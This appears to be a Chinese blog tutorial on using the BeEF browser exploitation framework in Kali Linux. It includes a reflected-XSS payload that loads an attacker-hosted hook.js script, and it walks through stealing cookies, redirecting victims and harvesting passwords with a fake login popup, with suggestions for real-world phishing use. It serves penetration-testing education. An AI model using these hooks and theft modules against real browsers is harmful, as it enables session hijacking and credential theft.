BeEF介绍

BeEF是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具

Kali Linux内已经有BeEF的环境,只需要进入/usr/share/beef-xss目录下,./beef运行即可

1
2
3
cd /usr/share/beef-xss/

./beef

BeEF运行截图:

图片

BeEF启动之后会输出在终端很多重要的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Browser Exploitation Framework (BeEF) 0.4.7.0-alpha(BeEF的版本是0.4.7.0)

12 extensions enabled(12个扩展)

254 modules enabled(254个利用模块)

接口控制面板::

running on network interface: 127.0.0.1

Hook URL: http://127.0.0.1:3000/hook.js

UI URL: http://127.0.0.1:3000/ui/panel

running on network interface: 192.168.1.106

Hook URL: http://192.168.1.106:3000/hook.js

UI URL: http://192.168.1.106:3000/ui/panel

使用BeEF控制台:

URL:(下面两个都可以使用)

http://127.0.0.1:3000/ui/panel

http://192.168.1.106:3000/ui/panel

图片

登陆凭据:

用户名/密码:beef

用户名密码的配置文件是:config.yaml

图片

BeEF主框架控制台页面:

图片

Before being able to fully explore the framework you will have to ‘hook’ a browser. To begin with you can point a browser towards the basic demo page here, or the advanced version here.

鼠标点击here就可以让浏览器和BeEF挂钩(僵尸)

图片

其中192.168.1.100就是我物理机的IP地址

下图是我们获取到的浏览器的信息:

包括浏览的URLCookiesHost Name/IPDate操作系统…等等

图片

其中Commands标签页是BeEF执行大部分攻击模块的地方

图片

绿色的代表该功能有效,并且执行不会被用户所发现

橙色的代表该功能有效,但是执行会被用户所发现

白色的代表该功能不确定是否有效

红色的代表该功能无效

图片

其中Rider标签页可以让挂钩(僵尸)的浏览器作为一个代理

图片

其中XssRays标签页可以帮助我们让挂钩(僵尸)的浏览器的网站所在域作为目标,然后通过BeEF框架搜索跨站脚本攻击,允许我们让挂钩的网站上找到持久的跨站脚本漏洞攻击的漏洞进行利用

图片

其中Ipec标签页可以在http请求中使用http以外的协议等等

图片

因为我们使用的是BeEF自带的挂钩页面所演示,在实战中可以用反射类型的XSS来进行对用户的浏览器进行钓鱼、DNS欺骗、网站克隆等等操作

使用XSS进行BeEF挂钩:

1
http://www.liuwx.cn/xss.php?="><script src="http://192.168.1.106:3000/hook.js"></script>

这时候BeEF控制台就会看到一个新的挂钩(僵尸)浏览器:

图片

使用BeEF对僵尸浏览器进行攻击

获取用户Cookie

来到Commands标签-点击Browser—>Hooked Domain —>Get Cookie,然后点击右下角的Execute

图片

此时右边就可以看到浏览器的Cookie

图片

对网页进行重定向

来到Commands标签-点击Browser—>Hooked Domain —>Redirect Browser,然后点击右下角的Execute,然后用户的浏览器的该页面就会跳转到http://www.liuwx.cn的页面了。

图片

成功跳转

图片

对网页进行社工弹窗

来到Commands标签-点击Social Engiineering——>Pretty Theft ,然后右上角选择弹窗的类型,右下角点击 Execute

图片

说实话,这个弹窗有点鸡肋,看上去太假了,建议不要使用这个

但是你只要在框内输入了用户名和密码的话

图片

如果僵尸那边输入了用户名密码,点击了登陆的话,控制台是会收到账号密码

图片

目前BeEF使用就到这,后续遇到其他的玩法还会继续更新… …

未完待续… …